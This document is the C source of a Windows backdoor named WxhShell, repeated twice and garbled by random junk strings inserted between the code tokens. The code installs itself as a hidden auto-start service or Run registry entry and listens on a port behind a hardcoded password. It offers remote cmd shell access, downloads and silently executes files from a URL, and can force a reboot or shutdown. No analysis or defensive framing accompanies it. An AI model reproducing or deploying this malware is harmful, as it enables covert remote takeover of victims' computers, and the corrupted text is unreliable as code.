"GetModuleBaseNameA"); . ^u,. NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;I*o@x_ Ei|\3Kx if (!NtQueryInformationProcess) return 0; ]q.0!lh+WL ZEQ Ex]Y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s>en if(!hProcess) return 0; H. c7Nle K;(mC< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y^k$Us KP"+e:a% CloseHandle(hProcess); Rv=YFo[B Vj-h;rB0z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \8
":]EU if(hProcess==NULL) return 0; Tk>#G{Wb- @oNXZRg6 HMODULE hMod; 0erNc'e char procName[255]; U(Zq= M unsigned long cbNeeded; pI[uUu7O phK/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d1*<Ll9K ebq4g387X CloseHandle(hProcess); nNm`Hfi 4W])}C % if(strstr(procName,"services")) return 1; // 以服务启动 >7FHo-H/T m[$_7a5 return 0; // 注册表启动 Bwrx *J } /{[o~:'p mR~&)QBP. // 主模块 : +u]S2u{ int StartWxhshell(LPSTR lpCmdLine) %)|s1B'd { @co
S+t SOCKET wsl; G)YcJv7 BOOL val=TRUE; *_e3 @g int port=0; N;R^h? ' struct sockaddr_in door; q| 7( ==B6qX8T if(wscfg.ws_autoins) Install(); ,I9bNO,%JK BWNi [^] port=atoi(lpCmdLine); so;
]& jylD6IT if(port<=0) port=wscfg.ws_port; KXrjqqXs i@q&5;%% WSADATA data; )_:NLo: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1cDF!X] ~rm_vo if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /xQTxh1;K setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NRuNKl.v door.sin_family = AF_INET; TrNF=x> door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0"R|..l/ door.sin_port = htons(port); ~~.}ah/_d ta0|^KAA if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xG 1nGO closesocket(wsl); [WJ+h~~
o return 1; Ni>[D"| } Smh,zCc>s vI?, 47Hj+ if(listen(wsl,2) == INVALID_SOCKET) { 7^Uv7<pw closesocket(wsl); SJLis"8 return 1; >!JS:5| } 3%6?g* Wxhshell(wsl); WA qINLdX WSACleanup(); _g8yDfcLG ^Pf WG* return 0;
y7{?Ip4[ AX INThJ } "4Nt\WQ /
1RpM]d // 以NT服务方式启动 h;Kx!5)y VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ("@!>|H { <aw[ XFg DWORD status = 0; u
+hX DWORD specificError = 0xfffffff; Sdo-nt R_KH"`q serviceStatus.dwServiceType = SERVICE_WIN32; Wqnc{oq|$ serviceStatus.dwCurrentState = SERVICE_START_PENDING; #tHK"20 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =I<R! ZSN serviceStatus.dwWin32ExitCode = 0; &m3lXl serviceStatus.dwServiceSpecificExitCode = 0; kM6
Qp serviceStatus.dwCheckPoint = 0; m 5.Zu. serviceStatus.dwWaitHint = 0; #E[0ys1O @~e5<:|5# hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .`lCWeHN if (hServiceStatusHandle==0) return; siaG'%@*r h8P)%p status = GetLastError(); !if if (status!=NO_ERROR) #spCtZE { Dv"9qk serviceStatus.dwCurrentState = SERVICE_STOPPED; sK{e*[I>W serviceStatus.dwCheckPoint = 0; 9x8fhAy}4 serviceStatus.dwWaitHint = 0; Q8NX)R serviceStatus.dwWin32ExitCode = status; QZs!{sZ serviceStatus.dwServiceSpecificExitCode = specificError; 4Ig;3 ^%71 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7/H)Az@i45 return; uH]OEz\H' } _w{Qtj~s| KXy6Eno serviceStatus.dwCurrentState = SERVICE_RUNNING; $`c:& serviceStatus.dwCheckPoint = 0; 9Na$W:P
c serviceStatus.dwWaitHint = 0; @FeTz[ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "[k3kAm } #R"*c
hLV p ?!/+ // 处理NT服务事件,比如:启动、停止 . vV|hSc VOID WINAPI NTServiceHandler(DWORD fdwControl) |=w@H]r { y `UaB3q switch(fdwControl) F847pyOJnf { ^#$n~]s case SERVICE_CONTROL_STOP: Wri<h:1 serviceStatus.dwWin32ExitCode = 0; bsX[UF serviceStatus.dwCurrentState = SERVICE_STOPPED; pkzaNY/q serviceStatus.dwCheckPoint = 0;
DrR@n~ serviceStatus.dwWaitHint = 0; WY/}1X9.% { $X6h|?3U, SetServiceStatus(hServiceStatusHandle, &serviceStatus);
}pYqWTG } >j/w@Fj return; uYN`:b8 case SERVICE_CONTROL_PAUSE: WLT"ji0w2 serviceStatus.dwCurrentState = SERVICE_PAUSED; *VcJ= b
2Y break; *p U x8yB case SERVICE_CONTROL_CONTINUE: | (93gJ serviceStatus.dwCurrentState = SERVICE_RUNNING; vQCy\Gi break; }j%5t ~Qa case SERVICE_CONTROL_INTERROGATE: \85i+q:LuA break; gJXaPJA{ }; }OUt sh ]y SetServiceStatus(hServiceStatusHandle, &serviceStatus); V&5wRz+`W } = [E 8=l%5r^cq // 标准应用程序主函数 cr3^6HB int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @5FQX { bw7@5=?; Ytkv!]" // 获取操作系统版本 k:;r2f OsIsNt=GetOsVer(); \dVOwr GetModuleFileName(NULL,ExeFile,MAX_PATH); v+XJ*N[W (HVGlw'` // 从命令行安装 X8|, if(strpbrk(lpCmdLine,"iI")) Install(); DVA:Cmh\ :>
'+"M2r // 下载执行文件 ;I}fBZ3
if(wscfg.ws_downexe) { $i&zex{\ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uFE)17E WinExec(wscfg.ws_filenam,SW_HIDE); z_HdISy0 } 3w=J'(RU CTb%(<r if(!OsIsNt) { ]G\}k // 如果时win9x,隐藏进程并且设置为注册表启动 AH^/V}9H HideProc(); w<#!h6Y= StartWxhshell(lpCmdLine); +[VXs~I
q } Psf#c:*_) else kmW4:EA% if(StartFromService()) Y4-t7UlS; // 以服务方式启动 'DR!9De StartServiceCtrlDispatcher(DispatchTable); eFgA 8kY) else ^[[P*NX3 // 普通方式启动 ax`o>_) StartWxhshell(lpCmdLine); wMn
i Tk}]Gev return 0; j%kncGS } (=0.in Z ~$'awY F8=+j_UGI By|4m =========================================== .Mbz3;i0 l#o
~W` .A|udZ, )5,v!X) =bOW~0Z1 7.Op< " <E~'.p, X'srL j. #include <stdio.h> dV_G1' #include <string.h> ]^E?;1$f? #include <windows.h> la!~\wpa #include <winsock2.h> :TbgFQ86~ #include <winsvc.h> }vuO$j #include <urlmon.h> FPz9N@M%Q FrS]|=LJhX #pragma comment (lib, "Ws2_32.lib") tmq OJ #pragma comment (lib, "urlmon.lib") N8jIMb'< Cdn J&N{ #define MAX_USER 100 // 最大客户端连接数
TjH][bH5 #define BUF_SOCK 200 // sock buffer Y2AJ+
| #define KEY_BUFF 255 // 输入 buffer L *wYx| Et$2Y-L. #define REBOOT 0 // 重启 (`^1Y3&2 #define SHUTDOWN 1 // 关机 4?kcv59 @d'j zs #define DEF_PORT 5000 // 监听端口 /^ts9: dO'(2J8 #define REG_LEN 16 // 注册表键长度 z/-=%g >HA #define SVC_LEN 80 // NT服务名长度 $Sq:q0 P.cyO3l // 从dll定义API M`_0C38
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J.a]K[ci typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BmT! aue typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V3Bz
Mw\9r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [agMfn ,tFg4k[ // wxhshell配置信息 YK_7ip.a[ struct WSCFG { )~>YH*g int ws_port; // 监听端口 L(-4w+ char ws_passstr[REG_LEN]; // 口令 00(\ZUj int ws_autoins; // 安装标记, 1=yes 0=no 9 hl_|r~%* char ws_regname[REG_LEN]; // 注册表键名 =X}J6|>X char ws_svcname[REG_LEN]; // 服务名 .-zom~N-? char ws_svcdisp[SVC_LEN]; // 服务显示名 &oNAv-m^GD char ws_svcdesc[SVC_LEN]; // 服务描述信息 Rq -ZL{LR7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -"x$ZnHU int ws_downexe; // 下载执行标记, 1=yes 0=no ]Wup/o char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W/N7vAx X char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5xiEPh ).O)p9 }; KNl$3nX 0GL M(JmK // default Wxhshell configuration ~%oR[B7=| struct WSCFG wscfg={DEF_PORT, Eci\a] "xuhuanlingzhe", P55fL-vo|} 1, }>\C{ClI "Wxhshell", kh<2BOV "Wxhshell", ctQ/wrkU "WxhShell Service", :FF=a3/"6 "Wrsky Windows CmdShell Service", 4euO1= "Please Input Your Password: ", %#+Hl0,Tt 1, vN $s|R'@ "http://www.wrsky.com/wxhshell.exe",
7GGUV "Wxhshell.exe" A/(a`"mK|' }; 42{~Lhxt gYj'(jB // 消息定义模块 7zMr:JmV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %T[]zJ( char *msg_ws_prompt="\n\r? for help\n\r#>"; BtZ yn7a char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l (o~-i\M char *msg_ws_ext="\n\rExit."; _1^'(5f$ char *msg_ws_end="\n\rQuit."; y_,bu^+* char *msg_ws_boot="\n\rReboot..."; YSMAd-Ef- char *msg_ws_poff="\n\rShutdown..."; [[ZJ]^n, char *msg_ws_down="\n\rSave to "; )7@0[> )oZ dj` char *msg_ws_err="\n\rErr!"; "@kaHIf[ char *msg_ws_ok="\n\rOK!"; f$( e\++ 6!o1XQr=Z char ExeFile[MAX_PATH]; hTkyz
la int nUser = 0; jPeYmv] HANDLE handles[MAX_USER]; <@}9Bid!o int OsIsNt; al0L&z\ XW9!p.*.U SERVICE_STATUS serviceStatus; ,4rPg]r@ SERVICE_STATUS_HANDLE hServiceStatusHandle; }Jw,>} ]n~V!hl?A // 函数声明 }JfjX' int Install(void); ?2a $*( int Uninstall(void); k)u[0} int DownloadFile(char *sURL, SOCKET wsh); u2I Cl int Boot(int flag); BUFv|z+H void HideProc(void); =a!=2VN9y int GetOsVer(void); & kIFcd@ int Wxhshell(SOCKET wsl); :&Nbw void TalkWithClient(void *cs); p_ =z# int CmdShell(SOCKET sock); 6*?F @D2& int StartFromService(void); $>gFf}#C int StartWxhshell(LPSTR lpCmdLine); E^PB)D(. i4Jc.8^9$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oU|c.mYe VOID WINAPI NTServiceHandler( DWORD fdwControl ); |qLh5Ty =41xkAMnk // 数据结构和表定义 8MBAtVmy SERVICE_TABLE_ENTRY DispatchTable[] = e!`i3KYn" { !k%#R4*> {wscfg.ws_svcname, NTServiceMain}, q4q6c")zp {NULL, NULL} ex|F|0k4} }; ijcm2FJcG N [@?gFtT // 自我安装 Vi}_{
Cy int Install(void) g`^x@rj`E { .hiSw char svExeFile[MAX_PATH]; ;4a{$Lw~^9 HKEY key; 0c&+|>! strcpy(svExeFile,ExeFile); o
K@"f9 e)ZUO_Q$ // 如果是win9x系统,修改注册表设为自启动 d _
e WcI if(!OsIsNt) { Q\)F;: | if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p<2,=*2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B *vM0 RegCloseKey(key); $(9U @N9E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !W0v >p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A
>$I
-T+ RegCloseKey(key); +"(jjxJm return 0; !BI;C(,RL } \9d$@V } yVc(`,tZ( } "KlwA.7/ else { *VeRVaBl ]k(]qZ // 如果是NT以上系统,安装为系统服务 d3Rw!slIq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^.G$Q# y, if (schSCManager!=0) Je@v8{][| { tDo"K3 SC_HANDLE schService = CreateService fnY.ao1-s[ ( +#By*;BJ schSCManager, 8Y3I0S wscfg.ws_svcname, y]imZ4{/ wscfg.ws_svcdisp, +RXoi2"-q@ SERVICE_ALL_ACCESS, :EH=_" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /bEAK- SERVICE_AUTO_START, "j-CZ\]U| SERVICE_ERROR_NORMAL, r/sNrB1U"y svExeFile, U&xUfBDt NULL, H-%v3d>3 NULL, q=G+Tocv NULL, G`zm@QL NULL, .2pK.$. NULL 2%>FR4a ); j9,P/K$:w if (schService!=0) K#xvu1U { 6#yUc_5 \ CloseServiceHandle(schService); j4b4!^fV CloseServiceHandle(schSCManager); &R siVBA strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8_tQa^.n\ strcat(svExeFile,wscfg.ws_svcname); ':}\4j&{E if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2Hdu:"j RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]d`VT)~vje RegCloseKey(key); *dF>_F return 0; OH"XrCX7n } e%6QTg5# } &?vgP!d&M CloseServiceHandle(schSCManager); i&k7-< } 6Iw\c } TKjFp% ~4"dweu? return 1; qVPeB,kIz } rbQR,Nf2x <1pEwI~ // 自我卸载 }i2V.tVB- int Uninstall(void) E e]-qN*8 { B;WCTMy} HKEY key; q9NoI(]e _FEFx if(!OsIsNt) { Nluoqoac if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X@f}Q`{Ymj RegDeleteValue(key,wscfg.ws_regname); |%v^W 3 RegCloseKey(key); 6r_)sHf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mqJ_W[y7 RegDeleteValue(key,wscfg.ws_regname); !-Y3V" RegCloseKey(key); Ve=b16H return 0; %bfZn9_m } 'n|5ZhXPB } 6^Sa; } XlJZhc else { \?N2=jsu$ QM]YJr3rE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @P"p+ if (schSCManager!=0) G\?YK.Y> { "]iB6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B?qjkP if (schService!=0) :L;a:xSpn= { "\=U)CJ if(DeleteService(schService)!=0) { "vGW2~*) CloseServiceHandle(schService); D-4f.Tq4# CloseServiceHandle(schSCManager); JLi|Td"1% return 0; ty`DJO=Omj } CP{cAzHO CloseServiceHandle(schService); @I*{f } |CzSU1ma CloseServiceHandle(schSCManager); ]_f<kW\1* } '\GbmD^F } 6R5Qy]]E ;GI&lpKK return 1; Z)\@i=m } K@#L)VT! :@)>r9N // 从指定url下载文件 MS]r:X6 int DownloadFile(char *sURL, SOCKET wsh) ]7mt[2Cd { gdoLyxQ HRESULT hr; -gWZwW/lD char seps[]= "/"; PT9*)9<L char *token; Faf&U%]*` char *file; ~nPtlrQa#* char myURL[MAX_PATH]; %#}Z y
char myFILE[MAX_PATH]; Lxk[;j+ rD>f|kA?L strcpy(myURL,sURL); B]$GSEB token=strtok(myURL,seps); <|\Lm20G] while(token!=NULL) +]50D xflA { Yuc> fFA file=token; c=+!>Z&i$G token=strtok(NULL,seps); )0R'(# } )Beiu* ?rup/4| GetCurrentDirectory(MAX_PATH,myFILE); 3&/Ixm: strcat(myFILE, "\\"); ${)b[22": strcat(myFILE, file); -GgA&dh send(wsh,myFILE,strlen(myFILE),0); YDFyX){ send(wsh,"...",3,0); (khL-F hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F:l%O#V if(hr==S_OK) uH-)y,2& return 0; BCcjK6' else h=%_Ao<x return 1; VQ{fne< +'@Dz9:> } ^BL"wk 2>H24F // 系统电源模块 5 BJmA2L int Boot(int flag) e,5C8Q`Z { /OJ`c`>Q: HANDLE hToken; O<e{ TOKEN_PRIVILEGES tkp; e*n@j 'Qo*y%{@5 if(OsIsNt) { B~du-Z22IZ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -
CWywuD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y|q3Wa tkp.PrivilegeCount = 1; ?NP1y9Y]i tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rc>6.sM
% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \B
7tX if(flag==REBOOT) { )];K .zP if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5P$4 =z91 return 0; Ip]KPrwp } (%:c#;# else { 9<)NvU^-r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (Clkv return 0; 4 N7^? } eNu7~3k} } Jdp3nzM^^@ else { :Xd<74Nu if(flag==REBOOT) { .y,0[i V
N if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~| 6[j<ziL return 0; K}U-w:{ } WSY}d
Vr else { PAOJ\U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SC])?h-Fw return 0; 9!DQ~k% } H]jhAf<h } vFK<J Sk! j9OG\m return 1; d&s9t;@= } 7(
2{'r Y7[jqb1D // win9x进程隐藏模块 ]}(H0?OQR void HideProc(void) P}G+4Sk { D{~fDRR U!Z,xx[] HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A$xF$l if ( hKernel != NULL ) (/*]?Ehd { lo!+f"7ym\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dmN&+t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AjgF6[B FreeLibrary(hKernel); [=^3n#WW } R+,u^;\ KFkoS0M5| return; XNu^`Ha } f:.I0 ST X/M4!L}\ // 获取操作系统版本 _OC<[A int GetOsVer(void) *GN#
r11d { Clb@$, OSVERSIONINFO winfo; om-omo&,X= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H&}pkrH~ GetVersionEx(&winfo); ZEO,]$Yi7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0tB0@Wj return 1; y%bF& else h.s+)fl\ return 0; S+ ^E. } (41|'eB\\ ^UhBH@ti // 客户端句柄模块 JO"<{ngsQ int Wxhshell(SOCKET wsl) DXK}-4"\ { JOim3(5?s SOCKET wsh; A:9?ZI/X struct sockaddr_in client; '1)$' DWORD myID; Eue~Y+K*b
}sO&. ME while(nUser<MAX_USER) \K]0JH { X<; f int nSize=sizeof(client); A4<Uu~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m&?r%x if(wsh==INVALID_SOCKET) return 1; A1?2*W ;H.^i|_/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZH)="qx[ if(handles[nUser]==0) &&RimoIeo closesocket(wsh); 0f>5(ek else }HePZ{PLM nUser++; +|89>}w4 } P &e\)Z| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3+fp2 I[##2 return 0; \1 &,|\E# } l9u!aD FA3~|Zg // 关闭 socket EJ:%}HhA void CloseIt(SOCKET wsh) nl,uuc*; { s)Cjc.Qs closesocket(wsh); QM#4uI55B nUser--; K$_0`>[ ExitThread(0); aC.~&MxFC } 9dUravC7 t#pS{.I // 客户端请求句柄 z}ddqZ27G$ void TalkWithClient(void *cs) qF-@V25P { FfPar:PHj s '\Uap SOCKET wsh=(SOCKET)cs; M|`U"vO char pwd[SVC_LEN]; /j|G(vt5 char cmd[KEY_BUFF]; j*jo@N| char chr[1]; H_X [t* 2 int i,j; iBgx hUMf"=q+ while (nUser < MAX_USER) { Om@C
X<(9C 7.#F,Ue_0T if(wscfg.ws_passstr) { ~C`^6UQr/? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); os={PQRD //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )MchsuF< //ZeroMemory(pwd,KEY_BUFF); <drODjB i=0; Q;JM$a?5iV while(i<SVC_LEN) { c%G{#}^2 usCt#eZK // 设置超时 H>B&|BO_[ fd_set FdRead; g^{@'}$ struct timeval TimeOut; K[r^'P5m FD_ZERO(&FdRead); m?fy^>1
FD_SET(wsh,&FdRead); jQ TimeOut.tv_sec=8; =4PV;>X TimeOut.tv_usec=0; /%TI??PGu int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FZ,#0ZYJGP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8UyMVY ?!cvf{a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9Ujo/3,Ak pwd=chr[0]; [8,yF
D_U if(chr[0]==0xd || chr[0]==0xa) { ^ ALly2 pwd=0; 8'nVwb8I break; giIWGa.a+ } ]d0tE?9 i++; Sf7\;^ } a\E:sPM'> |>27B // 如果是非法用户,关闭 socket Z}l3l`h! if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &6YIn|} } \uC15s< tlqiXh< send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -~30)J=e` send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yc
`)R jWl)cC while(1) { bc)~k: xt%7@/hiE ZeroMemory(cmd,KEY_BUFF); L3 --r l6kWQpV // 自动支持客户端 telnet标准 aV?@s4 j=0; +hT:2TXn while(j<KEY_BUFF) { ()+<)hg}2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^,8)iV0j_ cmd[j]=chr[0]; J)~L if(chr[0]==0xa || chr[0]==0xd) { bMMh|F cmd[j]=0; EzV96+ break; DV-;4AxxRq } 0#&5.Gr) j++; [uq$5u } ?$^2Umt0 xScLVt<\e // 下载文件 yXF?H"h( if(strstr(cmd,"http://")) { zN@}
#Hk send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7Kal"Ew if(DownloadFile(cmd,wsh)) 0F|AA"mMT send(wsh,msg_ws_err,strlen(msg_ws_err),0); !~&R"2/ else .5,(_p^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4V==7p
x( } J}+6UlD else { /[)qEl2]K U($dx.`v# switch(cmd[0]) { {(wHPzq ac.Ms (D // 帮助 pxf$1 case '?': { k
|%B?\m send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }J1tdko# break; .CU5}Tv- } w1#gOwA,$ // 安装 ?zVL;gVWA case 'i': { f[~L?B;_L if(Install()) ;)e2@'Agl send(wsh,msg_ws_err,strlen(msg_ws_err),0); D-(w_$# else 3G~@H>j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D'A/wG break; !@'6)/ } oMTf"0EIW // 卸载 JJ'.(( case 'r': { *B{j.{
p( if(Uninstall()) [E
JQ>?D send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jesjtcy<* else [P7N{l=I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &2zq%((r break; +0q>fp_K(+ } e\JojaV // 显示 wxhshell 所在路径 mB9r3[ case 'p': { }S$@ Ez6 char svExeFile[MAX_PATH]; UE ,t8j strcpy(svExeFile,"\n\r"); x{c/$+Z[ strcat(svExeFile,ExeFile); <l9-;2L4 send(wsh,svExeFile,strlen(svExeFile),0); !\L/[:n break; +g]yA3 } ugx%_x6 // 重启 fUQ6Z,9 case 'b': { ?Poq2 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ehG/zVgn if(Boot(REBOOT)) Ve!fU send(wsh,msg_ws_err,strlen(msg_ws_err),0); D{d>5P?W else { HnCzbt@ closesocket(wsh); m"jV}@agX ExitThread(0); )
^3avRsC } p4i]7o@ break; 16i"Yg!* } J8)#PY[i4 // 关机 'n$%Ls}S case 'd': { h!:~f-@j4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]U7KLUY>: if(Boot(SHUTDOWN)) q)vplV1A send(wsh,msg_ws_err,strlen(msg_ws_err),0); sx51X^d else { "=za??\K} closesocket(wsh); iVTGF< ExitThread(0); ~Oq +IA~9 } X>.
NFB break; *@)O7vB } [[Y0 // 获取shell JPWOPB'H case 's': { ~JDnKo CmdShell(wsh); `zt_7MD closesocket(wsh); Vy,^)] ExitThread(0); ;~u{56 break; pBP.x#| } FEW_bP/4 // 退出 z2hc.29t case 'x': { Xy &uZ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V-r3-b CloseIt(wsh); e^Ky<*Y break; z)=+ F] } XNb ZNaAd // 离开 F.=Bnw/- case 'q': { RxN,^!OV send(wsh,msg_ws_end,strlen(msg_ws_end),0); SdwS= (e6 closesocket(wsh); %8M)2?E WSACleanup(); Io|Aj exit(1); 0{PzUIM,W break; n[,w f9 } JS>Gd/Jd } _fP&&} } yxq}QSb \3 `VL}.h // 提示信息 #I3$3^0i# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S#Sb ] } MqA`yvQm } &0 BdUU+:< y&= ALx@ return; (V% `k'N7f } FSbHn{@ pdEiqLhH // shell模块句柄 _ _>.,gL7 int CmdShell(SOCKET sock) :4T("a5aM { gOK\%&S] STARTUPINFO si; [e4]"v`N ZeroMemory(&si,sizeof(si)); ?
j
9|5* si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~w;]c_{.b si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d4 (/m_HMu PROCESS_INFORMATION ProcessInfo; ~E^,=4 char cmdline[]="cmd"; U"4?9.
k CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !'*csg return 0; Q9&kJ%Mo } 3QOUU,Dt$ a9?y`{%L // 自身启动模式 FsGlJ int StartFromService(void) 9A7@
5F { "h7tnMS typedef struct )
(Tom9^ { *cg(
?yg DWORD ExitStatus; S"hTE7` DWORD PebBaseAddress; S$^RbI DWORD AffinityMask; GzTq5uU& DWORD BasePriority; zPKr/ ULONG UniqueProcessId; e~T@~(fft ULONG InheritedFromUniqueProcessId; ;u(Du-Os! } PROCESS_BASIC_INFORMATION; OLj\-w^ nPgeLG"00 PROCNTQSIP NtQueryInformationProcess; W Qc> =60~UM static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q(5+xSg"gK static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P0-Fc@&Y x/:4{ HANDLE hProcess; N9rBW PROCESS_BASIC_INFORMATION pbi; O!Z|r? 56Z\-=KAU HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a3>zoN if(NULL == hInst ) return 0; GBC*>Y N=)z g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); io3yLIy, g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *+b6B_u] NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <p?&udqD X}6#II if (!NtQueryInformationProcess) return 0; *$M'`vj: V8~jf-\$b hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Sj(F3wY if(!hProcess) return 0; STA4 p6 2spg?] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =4 X]gW ^R$'eG 4L? CloseHandle(hProcess); fXQiNm[P ;*[9Q'lI* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1SV^ ){5I if(hProcess==NULL) return 0; NS,5/t Z2bcCIq4 HMODULE hMod; i$KpDXP\ char procName[255]; OlQ,Ce unsigned long cbNeeded; S|GWcSg '?yCq$& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2_t=P|Uo 9(!]NNf! CloseHandle(hProcess); -6Mm#sX O8N[Jl if(strstr(procName,"services")) return 1; // 以服务启动 ehAu^^Q> 